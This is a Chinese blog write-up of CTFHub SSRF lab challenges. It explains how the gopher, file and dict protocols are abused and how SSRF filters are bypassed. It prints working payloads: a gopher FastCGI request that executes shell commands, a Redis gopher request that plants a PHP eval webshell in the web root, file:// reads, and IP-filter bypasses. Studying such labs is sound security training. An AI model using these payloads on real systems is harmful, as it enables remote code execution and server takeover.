SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
ssrf就是利用我们可以访问到的服务器,对其服务器下面的内网进行探测,也可以理解为服务器拥有外网ip,而我们要访问的电脑则是在公网ip进行nat后分配的内网ip
在ctfhub上练习和学习了ssrf
第一部分
【1】内网访问
1 | ?url=127.0.0.1/flag.php |
【2】伪协议读取文件
SSRF利用的协议
(1)file:在有回显的情况下,利用 file 协议可以读取任意内容
访问文件系统总而获取文件,就是读取服务器本地文件,访问本地的静态资源
file:///var/www/html/flag.php
(2)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
获取服务器本机的redis信息。字典服务器协议,访问字典资源,能够引用允许通过DICT协议使用的定义或单词列表。如,dict:///ip:6739/info:
(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
(4)http/s:探测内网主机存活
访问源码
【3】端口扫描
1,有提示端口在8000~9000这个范围,所以尝试爆破
2,直接访问,就能够得到flag
知识点补充
1 | #### `\dic://协议数据格式 :\` |
第二部分(Gopher协议的利用)
Gopher协议
1,gopher协议支持发出GET、POST请求:可以先拦截get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。
利用gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp 等,也可以发送 GET、POST 请求,这可以拓宽 SSRF 的攻击面
格式:
gopher://hostname(主机名或IP地址):port(端口号)/请求方法(get、post等)/path(路径)
gopher://
例子:请求 Gopher 服务器上的 /example/file.txt 文本文件,可以使用以下 URL 格式:
gopher://example.com:端口/example/file.txt
3,在gopher协议中发送HTTP的数据的步骤:\构造HTTP数据包URL编码、替换回车换行为\%0d%0a\、发送gopher协议\
4,\gopher的GET请求\
例子:
GET /testg.php?name=xxx HTTP/1.1
Host: 10.211.55.2
5,\gopher的POST请求:\
\例如:\
1 | gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1 |
需要包含这4个
注意:
- 问号(?)需要转码为URL编码,也就是%3f
- 回车换行要变为%0d%0a,但如果直接用工具转,可能只有%0a
- 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
- 在gopher中默认端口为70
【1】POST请求
1,试试访问?url=127.0.0.1/flag.php
查看源码
2,用file协议查看文件?url=file:///var/www/html/flag.php
查看源码
3,构造post请求
1 | gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1 |
注意:
- 问号(?)需要转码为URL编码,也就是%3f
- 回车换行要变为%0d%0a,但如果直接用工具转,可能只有%0a
- 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
- 在gopher中默认端口为70
在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。
用在线工具url编码2次
第一次编码后记得修改
1 | gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%20%0Akey=35f3958138b5a9da466bd0a976db21b8%0d%0a |
进行第2次编码
1 | gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=35f3958138b5a9da466bd0a976db21b8%250d%250a |
访问得到flag
【2】上传文件
challenge-1d2d783de061a7da.sandbox.ctfhub.com:10800/?url=_
按之前的题目同样访问一遍
1 | ?url=127.0.0.1/flag.php |
得到源码
1 | <?php |
1,\在from表单里提交按钮\
1 | \<input type="submit" name="submit">\ |
\2,用bp捕获,构造post请求\
\我直接全部复制放在线工具里了\
\2次url编码\
\注意把%0A全部变成%0D%0A,得到\
1 | \?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-1d2d783de061a7da.sandbox.ctfhub.com:10800%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64;%2520rv:136.0)%2520Gecko/20100101%2520Firefox/136.0%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,\/\;q=0.8%250D%250AAccept-Language:%2520zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%250D%250AAccept-Encoding:%2520gzip,%2520deflate,%2520br%250D%250AReferer:%2520http://challenge-1d2d783de061a7da.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----geckoformboundary14b87f9c44b8ebc687cce1d9d4874719%250D%250AContent-Length:%2520340%250D%250AOrigin:%2520http://challenge-1d2d783de061a7da.sandbox.ctfhub.com:10800%250D%250AConnection:%2520keep-alive%250D%250AUpgrade-Insecure-Requests:%25201%250D%250APriority:%2520u=0,%2520i%250D%250A%250D%250A------geckoformboundary14b87f9c44b8ebc687cce1d9d4874719%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%25221.txt%2522%250D%250AContent-Type:%2520text/plain%250D%250A%250D%250Assrf%2520upload%250D%250A------geckoformboundary14b87f9c44b8ebc687cce1d9d4874719%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A------geckoformboundary14b87f9c44b8ebc687cce1d9d4874719--%250D%250A\ |
得到flag
【3】FastCGI协议
了解了协议原理
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写_flower未授权-CSDN博客
fastcgi协议是服务器中间件和某个语言后端进行数据交换的协议
数据包(TCP流)–>Nginx(中间件)–>FPM(fastcgi协议解析器)–>FPM按照fastcgi的协议将TCP流解析成真正的数据
1,用Gopherus脚本(构造特定的Gopher协议数据包)

![](C:\Users\27866\Desktop\kali p-2025-03-26-20-43-50.png
1 | gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00 |
注意:进行编码时要去掉没有用的空格或者换行
然后再进行2次编码
1 | ?url= |
得到flag
【4】Redis协议
继续使用Gopherus脚本
1 | python2 gopherus.py --exploit redis |
得到
1 | gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A |
二次url编码
1 | gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A |
访问shell.php
蚁剑连接,得到flag
第三部分
【1】URL Bypass
HTTP 基本身份认证绕过:
HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。
也就是:http://www.xxx.com@www.yyy.com
形式
1 | ?url=http://notfound.ctfhub.com@127.0.0.1/flag.php |
【2】数字IP Bypass
使用上面的payload
Ban ‘/127|172|@/‘
进制绕过
1 | 八进制:`0177.000.000.001` |
1 | ?url=0177.000.000.001/flag.php |
【3】302跳转 Bypass
1 | ?url=127.0.0.1/flag.php |
1 | ?url=file:///var/www/html/flag.php |
源码
1 | <?php |
禁用了127,172,10,192,没有禁用localhost
1 | ?url=localhost/flag.php |
但是这题要求用302跳转,后续再瞅瞅
【4】DNS重绑定 Bypass
上面的payload不行
1 | ?url=7f000001.7f000002.rbndr.us/flag.php |
Author: syifna
Link: http://syifna.github.io/2025/03/31/ssrf/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.